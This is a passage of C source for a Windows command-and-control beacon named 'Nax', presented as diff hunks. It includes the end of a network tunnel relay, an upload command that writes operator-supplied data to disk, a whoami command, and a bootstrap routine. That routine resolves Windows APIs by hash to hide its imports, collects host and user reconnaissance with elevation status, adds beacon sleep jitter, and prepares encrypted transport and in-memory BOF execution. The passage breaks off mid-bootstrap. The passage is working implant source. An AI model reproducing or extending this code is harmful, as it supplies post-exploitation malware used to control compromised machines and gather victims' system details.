/* error: WSAEWOULDBLOCK is normal, anything else means close */
|
||||
INT err = Nax->Ws2.WSAGetLastError();
|
||||
if ( err != NAX_WSAEWOULDBLOCK )
|
||||
t->State = NAX_TUNNEL_STATE_CLOSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* send PAUSE if output exceeds high watermark */
|
||||
if ( totalRecv >= NAX_TUNNEL_HIGH_WATERMARK && !t->Paused ) {
|
||||
t->Paused = TRUE;
|
||||
BYTE pb[4];
|
||||
UINT32 chId = t->ChannelId;
|
||||
pb[0] = (BYTE)chId; pb[1] = (BYTE)(chId>>8); pb[2] = (BYTE)(chId>>16); pb[3] = (BYTE)(chId>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_PAUSE, pb, 4 );
|
||||
written += w;
|
||||
}
|
||||
}
|
||||
t = t->Next;
|
||||
}
|
||||
|
||||
/* ---- Phase 4: Cleanup closed tunnels ---- */
|
||||
/* CloseTimer states: 0=fresh, 1=draining write buffer, 2=shutdown sent (grace) */
|
||||
t = Nax->TunnelHead;
|
||||
while ( t ) {
|
||||
NAX_TUNNEL* next = t->Next;
|
||||
|
||||
if ( t->State == NAX_TUNNEL_STATE_CLOSE ) {
|
||||
|
||||
/* still draining write buffer - let Phase 2 flush it */
|
||||
if ( t->WriteBuf && t->WriteBufSize > 0 ) {
|
||||
if ( t->CloseTimer == 0 ) {
|
||||
t->CloseTimer = 1;
|
||||
t->StartTick = now;
|
||||
} else if ( ( now - t->StartTick ) > NAX_TUNNEL_DRAIN_TIMEOUT_MS ) {
|
||||
Nax->Ws2.shutdown( t->Sock, NAX_SD_BOTH );
|
||||
Nax->Ws2.closesocket( t->Sock );
|
||||
NaxTunnelRemove( Nax, t );
|
||||
}
|
||||
t = next;
|
||||
continue;
|
||||
}
|
||||
|
||||
/* buffer empty - send shutdown if not done yet */
|
||||
if ( t->CloseTimer <= 1 ) {
|
||||
t->CloseTimer = 2;
|
||||
t->StartTick = now;
|
||||
|
||||
BYTE cb[12];
|
||||
UINT32 chId = t->ChannelId, tp = t->Type, res = 0;
|
||||
cb[0] = (BYTE)chId; cb[1] = (BYTE)(chId>>8); cb[2] = (BYTE)(chId>>16); cb[3] = (BYTE)(chId>>24);
|
||||
cb[4] = (BYTE)tp; cb[5] = (BYTE)(tp>>8); cb[6] = (BYTE)(tp>>16); cb[7] = (BYTE)(tp>>24);
|
||||
cb[8] = (BYTE)res; cb[9] = (BYTE)(res>>8); cb[10]= (BYTE)(res>>16); cb[11]= (BYTE)(res>>24);
|
||||
UINT32 w = NaxTunnelPackEntry( out + written, outCap - written,
|
||||
NAX_CMD_TUNNEL_CLOSE, cb, 12 );
|
||||
written += w;
|
||||
|
||||
Nax->Ws2.shutdown( t->Sock, NAX_SD_SEND );
|
||||
} else if ( ( now - t->StartTick ) > NAX_TUNNEL_CLOSE_GRACE_MS ) {
|
||||
Nax->Ws2.closesocket( t->Sock );
|
||||
NaxTunnelRemove( Nax, t );
|
||||
}
|
||||
}
|
||||
|
||||
t = next;
|
||||
}
|
||||
|
||||
return written;
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
/* beacon/src/Commands/Upload.c
|
||||
* CMD_UPLOAD (0x26) - write accumulated MemSave data to disk.
|
||||
*
|
||||
* Task args wire format:
|
||||
* memoryId(4LE) + path_len(4LE) + path_bytes
|
||||
*
|
||||
* The file data was previously accumulated via CMD_SAVEMEMORY chunks.
|
||||
* After writing, the MemSave buffer is freed.
|
||||
*
|
||||
* Result on success: zero-length data, status=OK
|
||||
* Result on failure: Win32_error(4LE), status=ERR */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT NaxCmdUpload( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) {
|
||||
if ( !args || args_len < 8 ) return NAX_ERR_INVAL;
|
||||
|
||||
UINT32 memoryId = NaxR32( args );
|
||||
UINT32 path_len = NaxR32( args + 4 );
|
||||
if ( 8 + path_len > args_len ) return NAX_ERR_INVAL;
|
||||
|
||||
PCHAR path_buf = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, path_len + 1 );
|
||||
if ( !path_buf ) return NAX_ERR_NOMEM;
|
||||
MmCopy( path_buf, args + 8, path_len );
|
||||
path_buf[ path_len ] = '\0';
|
||||
|
||||
/* Look up accumulated data */
|
||||
NAX_MEMSAVE* ms = NaxMemSaveGet( Nax, memoryId );
|
||||
if ( !ms || !ms->Buffer ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
*out_len = 0;
|
||||
return NAX_ERR_INVAL;
|
||||
}
|
||||
|
||||
HANDLE hFile = Nax->Kernel32.CreateFileA( path_buf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
|
||||
if ( hFile == INVALID_HANDLE_VALUE ) {
|
||||
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
|
||||
NaxWriteWin32ErrCode( out, out_len, err );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
NaxMemSaveFree( Nax, memoryId );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
DWORD written = 0;
|
||||
BOOL ok = TRUE;
|
||||
if ( ms->CurrentSize > 0 )
|
||||
ok = Nax->Kernel32.WriteFile( hFile, ms->Buffer, ms->CurrentSize, &written, NULL );
|
||||
|
||||
if ( !ok || written != ms->CurrentSize ) {
|
||||
DWORD err = Nax->Kernel32.GetLastError ? Nax->Kernel32.GetLastError() : 0;
|
||||
NaxWriteWin32ErrCode( out, out_len, err );
|
||||
Nax->Kernel32.CloseHandle( hFile );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
NaxMemSaveFree( Nax, memoryId );
|
||||
return NAX_ERR_FAIL;
|
||||
}
|
||||
|
||||
Nax->Kernel32.CloseHandle( hFile );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, path_buf );
|
||||
NaxMemSaveFree( Nax, memoryId );
|
||||
|
||||
*out_len = 0;
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
/* beacon/src/Commands/Whoami.c
|
||||
* CMD_WHOAMI (0x10) - return current username as UTF-8. */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
FUNC INT NaxCmdWhoami( PNAX_INSTANCE Nax, PBYTE out, UINT32* out_len ) {
|
||||
WCHAR wbuf[256];
|
||||
DWORD wlen = 256;
|
||||
|
||||
if ( ! Nax->Advapi32.GetUserNameW( wbuf, &wlen ) )
|
||||
return NAX_ERR_INVAL;
|
||||
|
||||
INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1,
|
||||
(PCHAR)out, (INT)*out_len,
|
||||
NULL, NULL );
|
||||
if ( n <= 0 ) return NAX_ERR_NOMEM;
|
||||
*out_len = (UINT32)( n - 1 );
|
||||
return NAX_OK;
|
||||
}
|
||||
@@ -0,0 +1,437 @@
|
||||
/* beacon/src/Core/Bootstrap.c
|
||||
* NaxBootstrap - resolve all APIs and allocate NAX_INSTANCE on the heap.
|
||||
* NaxEffectiveSleep - jitter calculation.
|
||||
* NaxGetInternalIp, NaxGetDomain - system info helpers. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Transport.h"
|
||||
#include <winternl.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
/* ========= [ jitter ] ========= */
|
||||
|
||||
FUNC UINT32 NaxEffectiveSleep( PNAX_INSTANCE Nax ) {
|
||||
if ( Nax->Config.JitterPct == 0 )
|
||||
return Nax->Config.SleepMs;
|
||||
UINT32 delta = ( Nax->Config.SleepMs / 100u ) * (UINT32)Nax->Config.JitterPct;
|
||||
if ( delta == 0 )
|
||||
return Nax->Config.SleepMs;
|
||||
BYTE r = 0;
|
||||
Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG );
|
||||
INT32 off = (INT32)( (UINT32)r % ( 2u * delta + 1u ) ) - (INT32)( delta );
|
||||
INT32 val = (INT32)( Nax->Config.SleepMs ) + off;
|
||||
return (UINT32)( val < 0 ? 0 : val );
|
||||
}
|
||||
|
||||
/* ========= [ internal IP helper ] ========= */
|
||||
|
||||
FUNC VOID NaxGetInternalIp( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) {
|
||||
CHAR def[] = { '0', '.', '0', '.', '0', '.', '0', '\0' };
|
||||
MmCopy( out, def, 8 );
|
||||
|
||||
if ( !Nax->Iphlpapi.GetAdaptersInfo )
|
||||
return;
|
||||
|
||||
ULONG adapterInfoBufLen = 0;
|
||||
if ( Nax->Iphlpapi.GetAdaptersInfo( NULL, &adapterInfoBufLen ) != ERROR_BUFFER_OVERFLOW )
|
||||
return;
|
||||
|
||||
PIP_ADAPTER_INFO adapterInfo = (PIP_ADAPTER_INFO) Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, adapterInfoBufLen );
|
||||
if ( ! adapterInfo )
|
||||
return;
|
||||
|
||||
if ( Nax->Iphlpapi.GetAdaptersInfo( adapterInfo, &adapterInfoBufLen ) == ERROR_SUCCESS ) {
|
||||
for ( PIP_ADAPTER_INFO a = adapterInfo; a; a = a->Next ) {
|
||||
if ( a->Type == NAX_MIB_IF_TYPE_LOOPBACK )
|
||||
continue;
|
||||
PCHAR ip = a->IpAddressList.IpAddress.String;
|
||||
if ( ip[0] == '0' && ip[1] == '.' )
|
||||
continue;
|
||||
if ( ip[0] == '1' && ip[1] == '6' && ip[2] == '9' && ip[3] == '.' &&
|
||||
ip[4] == '2' && ip[5] == '5' && ip[6] == '4' && ip[7] == '.' )
|
||||
continue;
|
||||
UINT32 j = 0;
|
||||
while ( ip[j] && j < cap - 1 ) {
|
||||
out[j] = ip[j];
|
||||
j++;
|
||||
}
|
||||
out[j] = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, adapterInfo );
|
||||
}
|
||||
|
||||
/* ========= [ domain helper ] ========= */
|
||||
|
||||
FUNC VOID NaxGetDomain( PNAX_INSTANCE Nax, PCHAR out, UINT32 cap ) {
|
||||
WCHAR wbuf[256];
|
||||
MmZero( wbuf, sizeof( wbuf ) );
|
||||
DWORD wlen = 256;
|
||||
if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsDomain, wbuf, &wlen ) && wlen > 0 ) {
|
||||
INT n = Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, wbuf, -1, out, (INT)cap, NULL, NULL );
|
||||
if ( n > 0 )
|
||||
return;
|
||||
}
|
||||
CHAR wg[] = { 'W', 'O', 'R', 'K', 'G', 'R', 'O', 'U', 'P', '\0' };
|
||||
MmCopy( out, wg, 10 );
|
||||
}
|
||||
|
||||
/* ========= [ system info gather ] ========= */
|
||||
|
||||
FUNC VOID NaxGatherSysInfo( PNAX_INSTANCE Nax, PNAX_SYSINFO info ) {
|
||||
MmZero( info, sizeof( NAX_SYSINFO ) );
|
||||
|
||||
{ WCHAR w[64]; DWORD n = 64;
|
||||
if ( Nax->Kernel32.GetComputerNameExW( ComputerNameDnsHostname, w, &n ) )
|
||||
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Hostname, 64, NULL, NULL ); }
|
||||
|
||||
{ WCHAR w[256]; DWORD n = 256;
|
||||
if ( Nax->Advapi32.GetUserNameW( w, &n ) )
|
||||
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, w, -1, info->Username, 256, NULL, NULL ); }
|
||||
|
||||
{ MmZero( Nax->ImgPath, 260 );
|
||||
PNAX_RTL_USER_PROCESS_PARAMETERS pp = NaxCurrentPeb()->ProcessParameters;
|
||||
PWSTR img_buf = pp->ImagePathName.Buffer;
|
||||
UINT32 img_chars = (UINT32)pp->ImagePathName.Length / 2;
|
||||
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, img_buf, (INT)img_chars, Nax->ImgPath, 259, NULL, NULL );
|
||||
PWSTR base = img_buf;
|
||||
for ( UINT32 i = 0; i < img_chars; i++ )
|
||||
if ( img_buf[i] == L'\\' ) base = img_buf + i + 1;
|
||||
UINT32 base_chars = img_chars - (UINT32)( base - img_buf );
|
||||
Nax->Kernel32.WideCharToMultiByte( CP_UTF8, 0, base, (INT)base_chars, info->Procname, 255, NULL, NULL ); }
|
||||
|
||||
info->Pid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueProcess;
|
||||
info->Tid = (UINT32)(UINT_PTR)NaxCurrentTeb()->ClientId.UniqueThread;
|
||||
|
||||
{ PBYTE peb = (PBYTE)NaxCurrentPeb();
|
||||
Nax->OsMajor = *(UINT32*)( peb + NAX_PEB_OSMAJOR_OFFSET );
|
||||
Nax->OsMinor = *(UINT32*)( peb + NAX_PEB_OSMINOR_OFFSET );
|
||||
Nax->OsBuild = *(UINT16*)( peb + NAX_PEB_OSBUILD_OFFSET ); }
|
||||
|
||||
{ PROCESS_BASIC_INFORMATION pbi;
|
||||
MmZero( &pbi, sizeof( pbi ) );
|
||||
if ( Nax->Ntdll.NtQueryInformationProcess )
|
||||
Nax->Ntdll.NtQueryInformationProcess( NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof( pbi ), NULL );
|
||||
Nax->ParentPid = (UINT32)(UINT_PTR)pbi.InheritedFromUniqueProcessId; }
|
||||
|
||||
{ Nax->Elevated = 0;
|
||||
HANDLE hToken = NULL;
|
||||
if ( Nax->Ntdll.NtOpenProcessToken && Nax->Ntdll.NtOpenProcessToken( NtCurrentProcess(), NAX_TOKEN_QUERY, &hToken ) == 0 ) {
|
||||
struct { DWORD TokenIsElevated; } elev;
|
||||
ULONG ret = 0;
|
||||
if ( Nax->Ntdll.NtQueryInformationToken( hToken, NAX_TOKEN_ELEVATION_TYPE, &elev, sizeof( elev ), &ret ) == 0 )
|
||||
Nax->Elevated = elev.TokenIsElevated ? 1 : 0;
|
||||
Nax->Ntdll.NtClose( hToken );
|
||||
} }
|
||||
|
||||
Nax->Acp = Nax->Kernel32.GetACP ? (UINT32)Nax->Kernel32.GetACP() : 0;
|
||||
Nax->OemCp = Nax->Kernel32.GetOEMCP ? (UINT32)Nax->Kernel32.GetOEMCP() : 0;
|
||||
|
||||
NaxGetInternalIp( Nax, info->IpStr, 64 );
|
||||
NaxGetDomain( Nax, info->Domain, 256 );
|
||||
|
||||
info->HnLen = 0; while ( info->Hostname[info->HnLen] ) info->HnLen++;
|
||||
info->UnLen = 0; while ( info->Username[info->UnLen] ) info->UnLen++;
|
||||
info->IpLen = 0; while ( info->IpStr[info->IpLen] ) info->IpLen++;
|
||||
info->DmLen = 0; while ( info->Domain[info->DmLen] ) info->DmLen++;
|
||||
info->PnLen = 0; while ( info->Procname[info->PnLen] ) info->PnLen++;
|
||||
info->ImLen = 0; while ( Nax->ImgPath[info->ImLen] ) info->ImLen++;
|
||||
|
||||
NaxDbg( Nax, "host=%s user=%s proc=%s ip=%s pid=%u tid=%u elevated=%u os=%u.%u.%u ppid=%u acp=%u",
|
||||
info->Hostname, info->Username, info->Procname, info->IpStr, info->Pid, info->Tid,
|
||||
(UINT32)Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp );
|
||||
}
|
||||
|
||||
/* ========= [ instance bootstrap ] ========= */
|
||||
|
||||
FUNC PNAX_INSTANCE NaxBootstrap( VOID ) {
|
||||
/* - resolve ntdll - */
|
||||
HMODULE hNtdll = NaxGetModule( H_NTDLL_DLL );
|
||||
if ( ! hNtdll ) return NULL;
|
||||
|
||||
PVOID pAlloc = NaxGetProc( hNtdll, H_RTLALLOCATEHEAP );
|
||||
if ( ! pAlloc ) return NULL;
|
||||
__typeof__( RtlAllocateHeap )* fnRtlAllocateHeap = (__typeof__( RtlAllocateHeap )*)pAlloc;
|
||||
|
||||
/* - allocate instance - */
|
||||
HANDLE heap = NaxGetProcessHeap();
|
||||
PNAX_INSTANCE Nax = (PNAX_INSTANCE)fnRtlAllocateHeap( heap, 0, sizeof( NAX_INSTANCE ) );
|
||||
if ( ! Nax ) return NULL;
|
||||
MmZero( Nax, sizeof( NAX_INSTANCE ) );
|
||||
|
||||
/* - ntdll: heap + debug - */
|
||||
Nax->Heap = heap;
|
||||
Nax->Ntdll.Handle = hNtdll;
|
||||
Nax->Ntdll.RtlAllocateHeap = (PVOID)pAlloc;
|
||||
Nax->Ntdll.RtlFreeHeap = (PVOID)NaxGetProc( hNtdll, H_RTLFREEHEAP );
|
||||
Nax->Ntdll.DbgPrint = (PVOID)NaxGetProc( hNtdll, H_DBGPRINT );
|
||||
|
||||
/* - resolve remaining ntdll - */
|
||||
Nax->Ntdll.RtlExitUserThread = (PVOID)NaxGetProc( hNtdll, H_RTLEXITUSERTHREAD );
|
||||
Nax->Ntdll.NtAllocateVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTALLOCATEVIRTUALMEMORY );
|
||||
Nax->Ntdll.NtProtectVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTPROTECTVIRTUALMEMORY );
|
||||
Nax->Ntdll.NtFreeVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTFREEVIRTUALMEMORY );
|
||||
Nax->Ntdll.RtlAddFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLADDFUNCTIONTABLE );
|
||||
Nax->Ntdll.RtlDeleteFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLDELETEFUNCTIONTABLE );
|
||||
Nax->Ntdll._vsnprintf = (PVOID)NaxGetProc( hNtdll, H__VSNPRINTF );
|
||||
Nax->Ntdll.NtOpenProcessToken = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESSTOKEN );
|
||||
Nax->Ntdll.NtQueryInformationToken = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONTOKEN );
|
||||
Nax->Ntdll.NtQueryInformationProcess = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONPROCESS );
|
||||
Nax->Ntdll.NtClose = (PVOID)NaxGetProc( hNtdll, H_NTCLOSE );
|
||||
Nax->Ntdll.NtQuerySystemInformation = (PVOID)NaxGetProc( hNtdll, H_NTQUERYSYSTEMINFORMATION );
|
||||
Nax->Ntdll.NtQueryVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTQUERYVIRTUALMEMORY );
|
||||
Nax->Ntdll.NtOpenProcess = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESS );
|
||||
Nax->Ntdll.NtTerminateProcess = (PVOID)NaxGetProc( hNtdll, H_NTTERMINATEPROCESS );
|
||||
|
||||
/* thread pool + critical section */
|
||||
Nax->Ntdll.TpAllocWork = (PVOID)NaxGetProc( hNtdll, H_TPALLOCWORK );
|
||||
Nax->Ntdll.TpPostWork = (PVOID)NaxGetProc( hNtdll, H_TPPOSTWORK );
|
||||
Nax->Ntdll.TpReleaseWork = (PVOID)NaxGetProc( hNtdll, H_TPRELEASEWORK );
|
||||
Nax->Ntdll.RtlInitializeCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLINITIALIZECRITICALSECTION );
|
||||
Nax->Ntdll.RtlEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLENTERCRITICALSECTION );
|
||||
Nax->Ntdll.RtlLeaveCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLLEAVECRITICALSECTION );
|
||||
Nax->Ntdll.RtlTryEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLTRYENTERCRITICALSECTION );
|
||||
Nax->Ntdll.RtlDeleteCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLDELETECRITICALSECTION );
|
||||
Nax->Ntdll.LdrRegisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRREGISTERDLLNOTIFICATION );
|
||||
Nax->Ntdll.LdrUnregisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRUNREGISTERDLLNOTIFICATION );
|
||||
|
||||
NaxDbgx( Nax, "bootstrap: heap=%p Nax=%p", (PVOID)heap, (PVOID)Nax );
|
||||
|
||||
/* - populate config from compile-time constants - */
|
||||
NaxInitConfig( Nax );
|
||||
NaxDbgx( Nax, "config: sleep=%u jitter=%u", Nax->Config.SleepMs, (UINT32)Nax->Config.JitterPct );
|
||||
|
||||
/* - resolve kernel32 - */
|
||||
HMODULE hK32 = NaxGetModule( H_KERNEL32_DLL );
|
||||
NaxDbgx( Nax, "kernel32: %p", hK32 );
|
||||
if ( ! hK32 ) {
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
Nax->Kernel32.Handle = hK32;
|
||||
Nax->Kernel32.GetComputerNameExW = (PVOID)NaxGetProc( hK32, H_GETCOMPUTERNAMEEXW );
|
||||
Nax->Kernel32.ExitProcess = (PVOID)NaxGetProc( hK32, H_EXITPROCESS );
|
||||
Nax->Kernel32.Sleep = (PVOID)NaxGetProc( hK32, H_SLEEP );
|
||||
Nax->Kernel32.LoadLibraryW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYW );
|
||||
Nax->Kernel32.WideCharToMultiByte = (PVOID)NaxGetProc( hK32, H_WIDECHARTOMULTIBYTE );
|
||||
Nax->Kernel32.MultiByteToWideChar = (PVOID)NaxGetProc( hK32, H_MULTIBYTETOWIDECHAR );
|
||||
Nax->Kernel32.GlobalFree = (PVOID)NaxGetProc( hK32, H_GLOBALFREE );
|
||||
Nax->Kernel32.CreateDirectoryA = (PVOID)NaxGetProc( hK32, H_CREATEDIRECTORYA );
|
||||
Nax->Kernel32.SetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_SETCURRENTDIRECTORYA );
|
||||
Nax->Kernel32.GetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_GETCURRENTDIRECTORYA );
|
||||
Nax->Kernel32.CreateFileA = (PVOID)NaxGetProc( hK32, H_CREATEFILEA );
|
||||
Nax->Kernel32.ReadFile = (PVOID)NaxGetProc( hK32, H_READFILE );
|
||||
Nax->Kernel32.WriteFile = (PVOID)NaxGetProc( hK32, H_WRITEFILE );
|
||||
Nax->Kernel32.DeleteFileA = (PVOID)NaxGetProc( hK32, H_DELETEFILEA );
|
||||
Nax->Kernel32.CloseHandle = (PVOID)NaxGetProc( hK32, H_CLOSEHANDLE );
|
||||
Nax->Kernel32.RemoveDirectoryA = (PVOID)NaxGetProc( hK32, H_REMOVEDIRECTORYA );
|
||||
Nax->Kernel32.HeapCreate = (PVOID)NaxGetProc( hK32, H_HEAPCREATE );
|
||||
Nax->Kernel32.HeapDestroy = (PVOID)NaxGetProc( hK32, H_HEAPDESTROY );
|
||||
Nax->Kernel32.FindFirstFileA = (PVOID)NaxGetProc( hK32, H_FINDFIRSTFILEA );
|
||||
Nax->Kernel32.FindNextFileA = (PVOID)NaxGetProc( hK32, H_FINDNEXTFILEA );
|
||||
Nax->Kernel32.FindClose = (PVOID)NaxGetProc( hK32, H_FINDCLOSE );
|
||||
Nax->Kernel32.LoadLibraryA = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYA );
|
||||
Nax->Kernel32.GetProcAddress = (PVOID)NaxGetProc( hK32, H_GETPROCADDRESS );
|
||||
Nax->Kernel32.GetModuleHandleA = (PVOID)NaxGetProc( hK32, H_GETMODULEHANDLEA );
|
||||
Nax->Kernel32.FreeLibrary = (PVOID)NaxGetProc( hK32, H_FREELIBRARY );
|
||||
Nax->Kernel32.LoadLibraryExW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYEXW );
|
||||
Nax->Kernel32.VirtualProtect = (PVOID)NaxGetProc( hK32, H_VIRTUALPROTECT );
|
||||
Nax->Kernel32.GetFileSize = (PVOID)NaxGetProc( hK32, H_GETFILESIZE );
|
||||
Nax->Kernel32.GetLastError = (PVOID)NaxGetProc( hK32, H_GETLASTERROR );
|
||||
Nax->Kernel32.CreateProcessA = (PVOID)NaxGetProc( hK32, H_CREATEPROCESSA );
|
||||
Nax->Kernel32.CreatePipe = (PVOID)NaxGetProc( hK32, H_CREATEPIPE );
|
||||
Nax->Kernel32.WaitForSingleObject = (PVOID)NaxGetProc( hK32, H_WAITFORSINGLEOBJECT );
|
||||
Nax->Kernel32.WaitForMultipleObjects = (PVOID)NaxGetProc( hK32, H_WAITFORMULTIPLEOBJECTS );
|
||||
Nax->Kernel32.PeekNamedPipe = (PVOID)NaxGetProc( hK32, H_PEEKNAMEDPIPE );
|
||||
Nax->Kernel32.CreateNamedPipeA = (PVOID)NaxGetProc( hK32, H_CREATENAMEDPIPEA );
|
||||
Nax->Kernel32.ConnectNamedPipe = (PVOID)NaxGetProc( hK32, H_CONNECTNAMEDPIPE );
|
||||
Nax->Kernel32.DisconnectNamedPipe = (PVOID)NaxGetProc( hK32, H_DISCONNECTNAMEDPIPE );
|
||||
Nax->Kernel32.SetNamedPipeHandleState = (PVOID)NaxGetProc( hK32, H_SETNAMEDPIPEHANDLESTATE );
|
||||
Nax->Kernel32.CreateEventA = (PVOID)NaxGetProc( hK32, H_CREATEEVENTA );
|
||||
Nax->Kernel32.SetEvent = (PVOID)NaxGetProc( hK32, H_SETEVENT );
|
||||
Nax->Kernel32.ResetEvent = (PVOID)NaxGetProc( hK32, H_RESETEVENT );
|
||||
Nax->Kernel32.GetOverlappedResult = (PVOID)NaxGetProc( hK32, H_GETOVERLAPPEDRESULT );
|
||||
Nax->Kernel32.CancelIo = (PVOID)NaxGetProc( hK32, H_CANCELIO );
|
||||
Nax->Kernel32.FlushFileBuffers = (PVOID)NaxGetProc( hK32, H_FLUSHFILEBUFFERS );
|
||||
Nax->Kernel32.GetACP = (PVOID)NaxGetProc( hK32, H_GETACP );
|
||||
Nax->Kernel32.GetOEMCP = (PVOID)NaxGetProc( hK32, H_GETOEMCP );
|
||||
|
||||
/* threading */
|
||||
Nax->Kernel32.CreateThread = (PVOID)NaxGetProc( hK32, H_CREATETHREAD );
|
||||
Nax->Kernel32.TerminateThread = (PVOID)NaxGetProc( hK32, H_TERMINATETHREAD );
|
||||
Nax->Kernel32.GetTickCount64 = (PVOID)NaxGetProc( hK32, H_GETTICKCOUNT64 );
|
||||
Nax->Kernel32.GetCurrentThread = (PVOID)NaxGetProc( hK32, H_GETCURRENTTHREAD );
|
||||
Nax->Kernel32.DuplicateHandle = (PVOID)NaxGetProc( hK32, H_DUPLICATEHANDLE );
|
||||
Nax->Kernel32.GetCurrentProcess = (PVOID)NaxGetProc( hK32, H_GETCURRENTPROCESS );
|
||||
|
||||
/* CFG */
|
||||
Nax->Kernel32.GetProcessMitigationPolicy = (PVOID)NaxGetProc( hK32, H_GETPROCESSMITIGATIONPOLICY );
|
||||
|
||||
/* - create a PRIVATE heap for beacon allocations ---------------------
|
||||
* BOF code calls HeapAlloc(GetProcessHeap(), ...) expecting a clean heap.
|
||||
* If our beacon uses GetProcessHeap() too, we dirty it with hundreds of
|
||||
* allocations (heartbeat buffers, BofCtx output, etc.), causing the BOF's
|
||||
* first HeapAlloc to return a chunk whose low 2 bytes can exceed the BOF's
|
||||
* output buffer size → signed underflow → rep movsb crash (whoami BOF).
|
||||
*
|
||||
* With a private heap: beacon allocations come from Nax->Heap (private),
|
||||
* BOF's GetProcessHeap() allocations come from the process default heap
|
||||
* (relatively clean → address low 2 bytes safely below 0x2000). */
|
||||
if ( Nax->Kernel32.HeapCreate ) {
|
||||
HANDLE priv = Nax->Kernel32.HeapCreate( 0, 0, 0 );
|
||||
if ( priv ) Nax->Heap = priv;
|
||||
}
|
||||
NaxDbgx( Nax, "beacon private heap: %p", Nax->Heap );
|
||||
|
||||
/* - kernelbase (CFG) - */
|
||||
HMODULE hKB = NaxGetModule( H_KERNELBASE_DLL );
|
||||
if ( hKB )
|
||||
Nax->Kernelbase.SetProcessValidCallTargets = (PVOID)NaxGetProc( hKB, H_SETPROCESSVALIDCALLTARGETS );
|
||||
|
||||
NaxCfgInit( Nax );
|
||||
|
||||
Nax->JobWakeEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
|
||||
|
||||
WCHAR msv[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE hMsvcrt = Nax->Kernel32.LoadLibraryW( msv );
|
||||
if ( ! hMsvcrt ) {
|
||||
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
Nax->Msvcrt.printf = (PVOID)NaxGetProc( hMsvcrt, H_PRINTF );
|
||||
|
||||
/* - bcrypt (both HTTP and SMB need AES) - */
|
||||
WCHAR bcry[] = { 'b', 'c', 'r', 'y', 'p', 't', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE hBcrypt = Nax->Kernel32.LoadLibraryW( bcry );
|
||||
if ( ! hBcrypt ) {
|
||||
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
Nax->Bcrypt.BCryptOpenAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTOPENALGORITHMPROVIDER );
|
||||
Nax->Bcrypt.BCryptSetProperty = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTSETPROPERTY );
|
||||
Nax->Bcrypt.BCryptGenerateSymmetricKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENERATESYMMETRICKEY );
|
||||
